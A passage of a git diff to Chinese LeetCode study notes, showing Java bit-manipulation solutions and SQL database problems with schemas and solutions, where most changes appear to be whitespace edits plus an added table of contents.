-    while ((num & mask) == 0) mask >>= 1;
-    mask = (mask << 1) - 1;
-    return num ^ mask;
+public int findComplement(int num) {
+    if (num == 0) return 1;
+    int mask = 1 << 30;
+    while ((num & mask) == 0) mask >>= 1;
+    mask = (mask << 1) - 1;
+    return num ^ mask;
 }
 ```
 
-可以利用 Java 的 Integer.highestOneBit() 方法来获得含有首 1 的数。
+可以利用 Java 的 Integer.highestOneBit() 方法来获得含有首 1 的数。
 
 ```java
-public int findComplement(int num) {
-    if (num == 0) return 1;
-    int mask = Integer.highestOneBit(num);
-    mask = (mask << 1) - 1;
-    return num ^ mask;
+public int findComplement(int num) {
+    if (num == 0) return 1;
+    int mask = Integer.highestOneBit(num);
+    mask = (mask << 1) - 1;
+    return num ^ mask;
 }
 ```
 
-对于 10000000 这样的数要扩展成 11111111，可以利用以下方法：
+对于 10000000 这样的数要扩展成 11111111，可以利用以下方法：
 
 ```html
-mask |= mask >> 1    11000000
-mask |= mask >> 2    11110000
-mask |= mask >> 4    11111111
+mask |= mask >> 1    11000000
+mask |= mask >> 2    11110000
+mask |= mask >> 4    11111111
 ```
 
 ```java
-public int findComplement(int num) {
-    int mask = num;
-    mask |= mask >> 1;
-    mask |= mask >> 2;
-    mask |= mask >> 4;
-    mask |= mask >> 8;
-    mask |= mask >> 16;
-    return (mask ^ num);
+public int findComplement(int num) {
+    int mask = num;
+    mask |= mask >> 1;
+    mask |= mask >> 2;
+    mask |= mask >> 4;
+    mask |= mask >> 8;
+    mask |= mask >> 16;
+    return (mask ^ num);
 }
 ```
 
-**实现整数的加法**
+**实现整数的加法** 
 
-[371. Sum of Two Integers (Easy)](https://leetcode.com/problems/sum-of-two-integers/description/)
+[371. Sum of Two Integers (Easy)](https://leetcode.com/problems/sum-of-two-integers/description/)
 
-a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
+a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
 
-递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
+递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
 
 ```java
-public int getSum(int a, int b) {
-    return b == 0 ? a : getSum((a ^ b), (a & b) << 1);
+public int getSum(int a, int b) {
+    return b == 0 ? a : getSum((a ^ b), (a & b) << 1);
 }
 ```
 
-**字符串数组最大乘积**
+**字符串数组最大乘积** 
 
-[318. Maximum Product of Word Lengths (Medium)](https://leetcode.com/problems/maximum-product-of-word-lengths/description/)
+[318. Maximum Product of Word Lengths (Medium)](https://leetcode.com/problems/maximum-product-of-word-lengths/description/)
 
 ```html
-Given ["abcw", "baz", "foo", "bar", "xtfn", "abcdef"]
-Return 16
-The two words can be "abcw", "xtfn".
+Given ["abcw", "baz", "foo", "bar", "xtfn", "abcdef"]
+Return 16
+The two words can be "abcw", "xtfn".
 ```
 
 题目描述：字符串数组的字符串只含有小写字符。求解字符串数组中两个字符串长度的最大乘积，要求这两个字符串不能含有相同字符。
 
-本题主要问题是判断两个字符串是否含相同字符，由于字符串只含有小写字符，总共 26 位，因此可以用一个 32 位的整数来存储每个字符是否出现过。
+本题主要问题是判断两个字符串是否含相同字符，由于字符串只含有小写字符，总共 26 位，因此可以用一个 32 位的整数来存储每个字符是否出现过。
 
 ```java
-public int maxProduct(String[] words) {
-    int n = words.length;
-    int[] val = new int[n];
-    for (int i = 0; i < n; i++) {
-        for (char c : words[i].toCharArray()) {
-            val[i] |= 1 << (c - 'a');
-        }
-    }
-    int ret = 0;
-    for (int i = 0; i < n; i++) {
-        for (int j = i + 1; j < n; j++) {
-            if ((val[i] & val[j]) == 0) {
-                ret = Math.max(ret, words[i].length() * words[j].length());
-            }
-        }
-    }
-    return ret;
+public int maxProduct(String[] words) {
+    int n = words.length;
+    int[] val = new int[n];
+    for (int i = 0; i < n; i++) {
+        for (char c : words[i].toCharArray()) {
+            val[i] |= 1 << (c - 'a');
+        }
+    }
+    int ret = 0;
+    for (int i = 0; i < n; i++) {
+        for (int j = i + 1; j < n; j++) {
+            if ((val[i] & val[j]) == 0) {
+                ret = Math.max(ret, words[i].length() * words[j].length());
+            }
+        }
+    }
+    return ret;
 }
 ```
 
-**统计从 0 ~ n 每个数的二进制表示中 1 的个数**
+**统计从 0 \~ n 每个数的二进制表示中 1 的个数** 
 
-[338. Counting Bits (Medium)](https://leetcode.com/problems/counting-bits/description/)
+[338. Counting Bits (Medium)](https://leetcode.com/problems/counting-bits/description/)
 
-对于数字 6(110)，它可以看成是 4(100) 再加一个 2(10)，因此 dp[i] = dp[i&(i-1)] + 1;
+对于数字 6(110)，它可以看成是 4(100) 再加一个 2(10)，因此 dp[i] = dp[i&(i-1)] + 1;
 
 ```java
-public int[] countBits(int num) {
-    int[] ret = new int[num + 1];
-    for(int i = 1; i <= num; i++){
-        ret[i] = ret[i&(i-1)] + 1;
-    }
-    return ret;
+public int[] countBits(int num) {
+    int[] ret = new int[num + 1];
+    for(int i = 1; i <= num; i++){
+        ret[i] = ret[i&(i-1)] + 1;
+    }
+    return ret;
 }
 ```
 
-# 参考资料
+# 参考资料
 
-- [Leetcode](https://leetcode.com/problemset/algorithms/?status=Todo)
-- Weiss M A, 冯舜玺. 数据结构与算法分析——C 语言描述[J]. 2004.
-- Sedgewick R. Algorithms[M]. Pearson Education India, 1988.
-- 何海涛, 软件工程师. 剑指 Offer: 名企面试官精讲典型编程题[M]. 电子工业出版社, 2014.
-- 《编程之美》小组. 编程之美[M]. 电子工业出版社, 2008.
-- 左程云. 程序员代码面试指南[M]. 电子工业出版社, 2015.
+- [Leetcode](https://leetcode.com/problemset/algorithms/?status=Todo)
+- Weiss M A, 冯舜玺. 数据结构与算法分析——C 语言描述[J]. 2004.
+- Sedgewick R. Algorithms[M]. Pearson Education India, 1988.
+- 何海涛, 软件工程师. 剑指 Offer: 名企面试官精讲典型编程题[M]. 电子工业出版社, 2014.
+- 《编程之美》小组. 编程之美[M]. 电子工业出版社, 2008.
+- 左程云. 程序员代码面试指南[M]. 电子工业出版社, 2015.
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index fcb4966f..3ced862e 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,249 +1,269 @@
-# 595. Big Countries
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [595. Big Countries](#595-big-countries)
+* [627. Swap Salary](#627-swap-salary)
+* [620. Not Boring Movies](#620-not-boring-movies)
+* [596. Classes More Than 5 Students](#596-classes-more-than-5-students)
+* [182. Duplicate Emails](#182-duplicate-emails)
+* [196. Delete Duplicate Emails](#196-delete-duplicate-emails)
+* [175. Combine Two Tables](#175-combine-two-tables)
+* [181. Employees Earning More Than Their Managers](#181-employees-earning-more-than-their-managers)
+* [183. Customers Who Never Order](#183-customers-who-never-order)
+* [184. Department Highest Salary](#184-department-highest-salary)
+* [176. Second Highest Salary](#176-second-highest-salary)
+* [177. Nth Highest Salary](#177-nth-highest-salary)
+* [178. Rank Scores](#178-rank-scores)
+* [180. Consecutive Numbers](#180-consecutive-numbers)
+* [626. Exchange Seats](#626-exchange-seats)
+<!-- GFM-TOC -->
+
+
+# 595. Big Countries
 
 https://leetcode.com/problems/big-countries/description/
 
-## Description
+## Description
 
 ```html
 +-----------------+------------+------------+--------------+---------------+
-| name            | continent  | area       | population   | gdp           |
+| name            | continent  | area       | population   | gdp           |
 +-----------------+------------+------------+--------------+---------------+
-| Afghanistan     | Asia       | 652230     | 25500100     | 20343000      |
-| Albania         | Europe     | 28748      | 2831741      | 12960000      |
-| Algeria         | Africa     | 2381741    | 37100000     | 188681000     |
-| Andorra         | Europe     | 468        | 78115        | 3712000       |
-| Angola          | Africa     | 1246700    | 20609294     | 100990000     |
+| Afghanistan     | Asia       | 652230     | 25500100     | 20343000      |
+| Albania         | Europe     | 28748      | 2831741      | 12960000      |
+| Algeria         | Africa     | 2381741    | 37100000     | 188681000     |
+| Andorra         | Europe     | 468        | 78115        | 3712000       |
+| Angola          | Africa     | 1246700    | 20609294     | 100990000     |
 +-----------------+------------+------------+--------------+---------------+
 ```
 
-查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。
+查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。
 
 ```html
 +--------------+-------------+--------------+
-| name         | population  | area         |
+| name         | population  | area         |
 +--------------+-------------+--------------+
-| Afghanistan  | 25500100    | 652230       |
-| Algeria      | 37100000    | 2381741      |
+| Afghanistan  | 25500100    | 652230       |
+| Algeria      | 37100000    | 2381741      |
 +--------------+-------------+--------------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS World;
-CREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );
-INSERT INTO World ( NAME, continent, area, population, gdp )
+    EXISTS World;
+CREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );
+INSERT INTO World ( NAME, continent, area, population, gdp )
 VALUES
-    ( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),
-    ( 'Albania', 'Europe', '28748', '2831741', '129600000' ),
-    ( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),
-    ( 'Andorra', 'Europe', '468', '78115', '37120000' ),
-    ( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );
+    ( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),
+    ( 'Albania', 'Europe', '28748', '2831741', '129600000' ),
+    ( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),
+    ( 'Andorra', 'Europe', '468', '78115', '37120000' ),
+    ( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );
 ```
 
-## Solution
+## Solution
 
 ```sql
-SELECT name,
-    population,
-    area
+SELECT name,
+    population,
+    area
 FROM
-    World
+    World
 WHERE
-    area > 3000000
-    OR population > 25000000;
+    area > 3000000
+    OR population > 25000000;
 ```
 
-# 627. Swap Salary
+# 627. Swap Salary
 
 https://leetcode.com/problems/swap-salary/description/
 
-## Description
+## Description
 
 ```html
-| id | name | sex | salary |
+| id | name | sex | salary |
 |----|------|-----|--------|
-| 1  | A    | m   | 2500   |
-| 2  | B    | f   | 1500   |
-| 3  | C    | m   | 5500   |
-| 4  | D    | f   | 500    |
+| 1  | A    | m   | 2500   |
+| 2  | B    | f   | 1500   |
+| 3  | C    | m   | 5500   |
+| 4  | D    | f   | 500    |
 ```
 
-只用一个 SQL 查询，将 sex 字段反转。
+只用一个 SQL 查询，将 sex 字段反转。
 
 ```html
-| id | name | sex | salary |
+| id | name | sex | salary |
 |----|------|-----|--------|
-| 1  | A    | f   | 2500   |
-| 2  | B    | m   | 1500   |
-| 3  | C    | f   | 5500   |
-| 4  | D    | m   | 500    |
+| 1  | A    | f   | 2500   |
+| 2  | B    | m   | 1500   |
+| 3  | C    | f   | 5500   |
+| 4  | D    | m   | 500    |
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS salary;
-CREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );
-INSERT INTO salary ( id, NAME, sex, salary )
+    EXISTS salary;
+CREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );
+INSERT INTO salary ( id, NAME, sex, salary )
 VALUES
-    ( '1', 'A', 'm', '2500' ),
-    ( '2', 'B', 'f', '1500' ),
-    ( '3', 'C', 'm', '5500' ),
-    ( '4', 'D', 'f', '500' );
+    ( '1', 'A', 'm', '2500' ),
+    ( '2', 'B', 'f', '1500' ),
+    ( '3', 'C', 'm', '5500' ),
+    ( '4', 'D', 'f', '500' );
 ```
 
-## Solution
+## Solution
 
 ```sql
-UPDATE salary
-SET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );
+UPDATE salary
+SET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );
 ```
 
-# 620. Not Boring Movies
+# 620. Not Boring Movies
 
 https://leetcode.com/problems/not-boring-movies/description/
 
-## Description
+## Description
 
 
 ```html
 +---------+-----------+--------------+-----------+
-|   id    | movie     |  description |  rating   |
+|   id    | movie     |  description |  rating   |
 +---------+-----------+--------------+-----------+
-|   1     | War       |   great 3D   |   8.9     |
-|   2     | Science   |   fiction    |   8.5     |
-|   3     | irish     |   boring     |   6.2     |
-|   4     | Ice song  |   Fantacy    |   8.6     |
-|   5     | House card|   Interesting|   9.1     |
+|   1     | War       |   great 3D   |   8.9     |
+|   2     | Science   |   fiction    |   8.5     |
+|   3     | irish     |   boring     |   6.2     |
+|   4     | Ice song  |   Fantacy    |   8.6     |
+|   5     | House card|   Interesting|   9.1     |
 +---------+-----------+--------------+-----------+
 ```
 
-查找 id 为奇数，并且 description 不是 boring 的电影，按 rating 降序。
+查找 id 为奇数，并且 description 不是 boring 的电影，按 rating 降序。
 
 ```html
 +---------+-----------+--------------+-----------+
-|   id    | movie     |  description |  rating   |
+|   id    | movie     |  description |  rating   |
 +---------+-----------+--------------+-----------+
-|   5     | House card|   Interesting|   9.1     |
-|   1     | War       |   great 3D   |   8.9     |
+|   5     | House card|   Interesting|   9.1     |
+|   1     | War       |   great 3D   |   8.9     |
 +---------+-----------+--------------+-----------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS cinema;
-CREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );
-INSERT INTO cinema ( id, movie, description, rating )
+    EXISTS cinema;
+CREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );
+INSERT INTO cinema ( id, movie, description, rating )
 VALUES
-    ( 1, 'War', 'great 3D', 8.9 ),
-    ( 2, 'Science', 'fiction', 8.5 ),
-    ( 3, 'irish', 'boring', 6.2 ),
-    ( 4, 'Ice song', 'Fantacy', 8.6 ),
-    ( 5, 'House card', 'Interesting', 9.1 );
+    ( 1, 'War', 'great 3D', 8.9 ),
+    ( 2, 'Science', 'fiction', 8.5 ),
+    ( 3, 'irish', 'boring', 6.2 ),
+    ( 4, 'Ice song', 'Fantacy', 8.6 ),
+    ( 5, 'House card', 'Interesting', 9.1 );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    *
+    *
 FROM
-    cinema
+    cinema
 WHERE
-    id % 2 = 1
-    AND description != 'boring'
-ORDER BY
-    rating DESC;
+    id % 2 = 1
+    AND description != 'boring'
+ORDER BY
+    rating DESC;
 ```
 
-# 596. Classes More Than 5 Students
+# 596. Classes More Than 5 Students
 
 https://leetcode.com/problems/classes-more-than-5-students/description/
 
-## Description
+## Description
 
 ```html
 +---------+------------+
-| student | class      |
+| student | class      |
 +---------+------------+
-| A       | Math       |
-| B       | English    |
-| C       | Math       |
-| D       | Biology    |
-| E       | Math       |
-| F       | Computer   |
-| G       | Math       |
-| H       | Math       |
-| I       | Math       |
+| A       | Math       |
+| B       | English    |
+| C       | Math       |
+| D       | Biology    |
+| E       | Math       |
+| F       | Computer   |
+| G       | Math       |
+| H       | Math       |
+| I       | Math       |
 +---------+------------+
 ```
 
-查找有五名及以上 student 的 class。
+查找有五名及以上 student 的 class。
 
 ```html
 +---------+
-| class   |
+| class   |
 +---------+
-| Math    |
+| Math    |
 +---------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS courses;
-CREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );
-INSERT INTO courses ( student, class )
+    EXISTS courses;
+CREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );
+INSERT INTO courses ( student, class )
 VALUES
-    ( 'A', 'Math' ),
-    ( 'B', 'English' ),
-    ( 'C', 'Math' ),
-    ( 'D', 'Biology' ),
-    ( 'E', 'Math' ),
-    ( 'F', 'Computer' ),
-    ( 'G', 'Math' ),
-    ( 'H', 'Math' ),
-    ( 'I', 'Math' );
+    ( 'A', 'Math' ),
+    ( 'B', 'English' ),
+    ( 'C', 'Math' ),
+    ( 'D', 'Biology' ),
+    ( 'E', 'Math' ),
+    ( 'F', 'Computer' ),
+    ( 'G', 'Math' ),
+    ( 'H', 'Math' ),
+    ( 'I', 'Math' );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    class
+    class
 FROM
-    courses
-GROUP BY
-    class
+    courses
+GROUP BY
+    class
 HAVING
-    count( DISTINCT student ) >= 5;
+    count( DISTINCT student ) >= 5;
 ```
 
-# 182. Duplicate Emails
+# 182. Duplicate Emails
 
 https://leetcode.com/problems/duplicate-emails/description/
 
-## Description
+## Description
 
 邮件地址表：
 
 ```html
 +----+---------+
-| Id | Email   |
+| Id | Email   |
 +----+---------+
-| 1  | a@b.com |
-| 2  | c@d.com |
-| 3  | a@b.com |
+| 1  | a@b.com |
+| 2  | c@d.com |
+| 3  | a@b.com |
 +----+---------+
 ```
 
@@ -251,54 +271,54 @@ https://leetcode.com/problems/duplicate-emails/description/
 
 ```html
 +---------+
-| Email   |
+| Email   |
 +---------+
-| a@b.com |
+| a@b.com |
 +---------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Person;
-CREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );
-INSERT INTO Person ( Id, Email )
+    EXISTS Person;
+CREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );
+INSERT INTO Person ( Id, Email )
 VALUES
-    ( 1, 'a@b.com' ),
-    ( 2, 'c@d.com' ),
-    ( 3, 'a@b.com' );
+    ( 1, 'a@b.com' ),
+    ( 2, 'c@d.com' ),
+    ( 3, 'a@b.com' );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    Email
+    Email
 FROM
-    Person
-GROUP BY
-    Email
+    Person
+GROUP BY
+    Email
 HAVING
-    COUNT( * ) >= 2;
+    COUNT( * ) >= 2;
 ```
 
-# 196. Delete Duplicate Emails
+# 196. Delete Duplicate Emails
 
 https://leetcode.com/problems/delete-duplicate-emails/description/
 
-## Description
+## Description
 
 邮件地址表：
 
 ```html
 +----+---------+
-| Id | Email   |
+| Id | Email   |
 +----+---------+
-| 1  | a@b.com |
-| 2  | c@d.com |
-| 3  | a@b.com |
+| 1  | a@b.com |
+| 2  | c@d.com |
+| 3  | a@b.com |
 +----+---------+
 ```
 
@@ -306,29 +326,29 @@ https://leetcode.com/problems/delete-duplicate-emails/description/
 
 ```html
 +----+------------------+
-| Id | Email            |
+| Id | Email            |
 +----+------------------+
-| 1  | john@example.com |
-| 2  | bob@example.com  |
+| 1  | john@example.com |
+| 2  | bob@example.com  |
 +----+------------------+
 ```
 
-## SQL Schema
+## SQL Schema
 
-与 182 相同。
+与 182 相同。
 
-## Solution
+## Solution
 
 连接：
 
 ```sql
-DELETE p1
+DELETE p1
 FROM
-    Person p1,
-    Person p2
+    Person p1,
+    Person p2
 WHERE
-    p1.Email = p2.Email
-    AND p1.Id > p2.Id
+    p1.Email = p2.Email
+    AND p1.Id > p2.Id
 ```
 
 子查询：
@@ -336,168 +356,168 @@ WHERE
 ```sql
 DELETE
 FROM
-    Person
+    Person
 WHERE
-    id NOT IN ( SELECT id FROM ( SELECT min( id ) AS id FROM Person GROUP BY email ) AS m );
+    id NOT IN ( SELECT id FROM ( SELECT min( id ) AS id FROM Person GROUP BY email ) AS m );
 ```
 
-应该注意的是上述解法额外嵌套了一个 SELECT 语句，如果不这么做，会出现错误：You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。
+应该注意的是上述解法额外嵌套了一个 SELECT 语句，如果不这么做，会出现错误：You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。
 
 ```sql
 DELETE
 FROM
-    Person
+    Person
 WHERE
-    id NOT IN ( SELECT min( id ) AS id FROM Person GROUP BY email );
+    id NOT IN ( SELECT min( id ) AS id FROM Person GROUP BY email );
 ```
 
-参考：[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)
+参考：[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)
 
-# 175. Combine Two Tables
+# 175. Combine Two Tables
 
 https://leetcode.com/problems/combine-two-tables/description/
 
-## Description
+## Description
 
-Person 表：
+Person 表：
 
 ```html
 +-------------+---------+
-| Column Name | Type    |
+| Column Name | Type    |
 +-------------+---------+
-| PersonId    | int     |
-| FirstName   | varchar |
-| LastName    | varchar |
+| PersonId    | int     |
+| FirstName   | varchar |
+| LastName    | varchar |
 +-------------+---------+
-PersonId is the primary key column for this table.
+PersonId is the primary key column for this table.
 ```
 
-Address 表：
+Address 表：
 
 ```html
 +-------------+---------+
-| Column Name | Type    |
+| Column Name | Type    |
 +-------------+---------+
-| AddressId   | int     |
-| PersonId    | int     |
-| City        | varchar |
-| State       | varchar |
+| AddressId   | int     |
+| PersonId    | int     |
+| City        | varchar |
+| State       | varchar |
 +-------------+---------+
-AddressId is the primary key column for this table.
+AddressId is the primary key column for this table.
 ```
 
-查找 FirstName, LastName, City, State 数据，而不管一个用户有没有填地址信息。
+查找 FirstName, LastName, City, State 数据，而不管一个用户有没有填地址信息。
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Person;
-CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );
-DROP TABLE
+    EXISTS Person;
+CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );
+DROP TABLE
 IF
-    EXISTS Address;
-CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );
-INSERT INTO Person ( PersonId, LastName, FirstName )
+    EXISTS Address;
+CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );
+INSERT INTO Person ( PersonId, LastName, FirstName )
 VALUES
-    ( 1, 'Wang', 'Allen' );
-INSERT INTO Address ( AddressId, PersonId, City, State )
+    ( 1, 'Wang', 'Allen' );
+INSERT INTO Address ( AddressId, PersonId, City, State )
 VALUES
-    ( 1, 2, 'New York City', 'New York' );
+    ( 1, 2, 'New York City', 'New York' );
 ```
 
-## Solution
+## Solution
 
 使用左外连接。
 
 ```sql
 SELECT
-    FirstName,
-    LastName,
-    City,
-    State
+    FirstName,
+    LastName,
+    City,
+    State
 FROM
-    Person P
-    LEFT JOIN Address A
-    ON P.PersonId = A.PersonId;
+    Person P
+    LEFT JOIN Address A
+    ON P.PersonId = A.PersonId;
 ```
 
-# 181. Employees Earning More Than Their Managers
+# 181. Employees Earning More Than Their Managers
 
 https://leetcode.com/problems/employees-earning-more-than-their-managers/description/
 
-## Description
+## Description
 
-Employee 表：
+Employee 表：
 
 ```html
 +----+-------+--------+-----------+
-| Id | Name  | Salary | ManagerId |
+| Id | Name  | Salary | ManagerId |
 +----+-------+--------+-----------+
-| 1  | Joe   | 70000  | 3         |
-| 2  | Henry | 80000  | 4         |
-| 3  | Sam   | 60000  | NULL      |
-| 4  | Max   | 90000  | NULL      |
+| 1  | Joe   | 70000  | 3         |
+| 2  | Henry | 80000  | 4         |
+| 3  | Sam   | 60000  | NULL      |
+| 4  | Max   | 90000  | NULL      |
 +----+-------+--------+-----------+
 ```
 
 查找薪资大于其经理薪资的员工信息。
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Employee;
-CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );
-INSERT INTO Employee ( Id, NAME, Salary, ManagerId )
+    EXISTS Employee;
+CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );
+INSERT INTO Employee ( Id, NAME, Salary, ManagerId )
 VALUES
-    ( 1, 'Joe', 70000, 3 ),
-    ( 2, 'Henry', 80000, 4 ),
-    ( 3, 'Sam', 60000, NULL ),
-    ( 4, 'Max', 90000, NULL );
+    ( 1, 'Joe', 70000, 3 ),
+    ( 2, 'Henry', 80000, 4 ),
+    ( 3, 'Sam', 60000, NULL ),
+    ( 4, 'Max', 90000, NULL );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    E1.NAME AS Employee
+    E1.NAME AS Employee
 FROM
-    Employee E1
-    INNER JOIN Employee E2
-    ON E1.ManagerId = E2.Id
-    AND E1.Salary > E2.Salary;
+    Employee E1
+    INNER JOIN Employee E2
+    ON E1.ManagerId = E2.Id
+    AND E1.Salary > E2.Salary;
 ```
 
-# 183. Customers Who Never Order
+# 183. Customers Who Never Order
 
 https://leetcode.com/problems/customers-who-never-order/description/
 
-## Description
+## Description
 
-Curstomers 表：
+Curstomers 表：
 
 ```html
 +----+-------+
-| Id | Name  |
+| Id | Name  |
 +----+-------+
-| 1  | Joe   |
-| 2  | Henry |
-| 3  | Sam   |
-| 4  | Max   |
+| 1  | Joe   |
+| 2  | Henry |
+| 3  | Sam   |
+| 4  | Max   |
 +----+-------+
 ```
 
-Orders 表：
+Orders 表：
 
 ```html
 +----+------------+
-| Id | CustomerId |
+| Id | CustomerId |
 +----+------------+
-| 1  | 3          |
-| 2  | 1          |
+| 1  | 3          |
+| 2  | 1          |
 +----+------------+
 ```
 
@@ -505,156 +525,156 @@ Orders 表：
 
 ```html
 +-----------+
-| Customers |
+| Customers |
 +-----------+
-| Henry     |
-| Max       |
+| Henry     |
+| Max       |
 +-----------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Customers;
-CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );
-DROP TABLE
+    EXISTS Customers;
+CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );
+DROP TABLE
 IF
-    EXISTS Orders;
-CREATE TABLE Orders ( Id INT, CustomerId INT );
-INSERT INTO Customers ( Id, NAME )
+    EXISTS Orders;
+CREATE TABLE Orders ( Id INT, CustomerId INT );
+INSERT INTO Customers ( Id, NAME )
 VALUES
-    ( 1, 'Joe' ),
-    ( 2, 'Henry' ),
-    ( 3, 'Sam' ),
-    ( 4, 'Max' );
-INSERT INTO Orders ( Id, CustomerId )
+    ( 1, 'Joe' ),
+    ( 2, 'Henry' ),
+    ( 3, 'Sam' ),
+    ( 4, 'Max' );
+INSERT INTO Orders ( Id, CustomerId )
 VALUES
-    ( 1, 3 ),
-    ( 2, 1 );
+    ( 1, 3 ),
+    ( 2, 1 );
 ```
 
-## Solution
+## Solution
 
 左外链接
 
 ```sql
 SELECT
-    C.Name AS Customers
+    C.Name AS Customers
 FROM
-    Customers C
-    LEFT JOIN Orders O
-    ON C.Id = O.CustomerId
+    Customers C
+    LEFT JOIN Orders O
+    ON C.Id = O.CustomerId
 WHERE
-    O.CustomerId IS NULL;
+    O.CustomerId IS NULL;
 ```
 
 子查询
 
 ```sql
 SELECT
-    Name AS Customers
+    Name AS Customers
 FROM
-    Customers
+    Customers
 WHERE
-    Id NOT IN ( SELECT CustomerId FROM Orders );
+    Id NOT IN ( SELECT CustomerId FROM Orders );
 ```
 
-# 184. Department Highest Salary
+# 184. Department Highest Salary
 
 https://leetcode.com/problems/department-highest-salary/description/
 
-## Description
+## Description
 
-Employee 表：
+Employee 表：
 
 ```html
 +----+-------+--------+--------------+
-| Id | Name  | Salary | DepartmentId |
+| Id | Name  | Salary | DepartmentId |
 +----+-------+--------+--------------+
-| 1  | Joe   | 70000  | 1            |
-| 2  | Henry | 80000  | 2            |
-| 3  | Sam   | 60000  | 2            |
-| 4  | Max   | 90000  | 1            |
+| 1  | Joe   | 70000  | 1            |
+| 2  | Henry | 80000  | 2            |
+| 3  | Sam   | 60000  | 2            |
+| 4  | Max   | 90000  | 1            |
 +----+-------+--------+--------------+
 ```
 
-Department 表：
+Department 表：
 
 ```html
 +----+----------+
-| Id | Name     |
+| Id | Name     |
 +----+----------+
-| 1  | IT       |
-| 2  | Sales    |
+| 1  | IT       |
+| 2  | Sales    |
 +----+----------+
 ```
 
-查找一个 Department 中收入最高者的信息：
+查找一个 Department 中收入最高者的信息：
 
 ```html
 +------------+----------+--------+
-| Department | Employee | Salary |
+| Department | Employee | Salary |
 +------------+----------+--------+
-| IT         | Max      | 90000  |
-| Sales      | Henry    | 80000  |
+| IT         | Max      | 90000  |
+| Sales      | Henry    | 80000  |
 +------------+----------+--------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE IF EXISTS Employee;
-CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );
-DROP TABLE IF EXISTS Department;
-CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );
-INSERT INTO Employee ( Id, NAME, Salary, DepartmentId )
+DROP TABLE IF EXISTS Employee;
+CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );
+DROP TABLE IF EXISTS Department;
+CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );
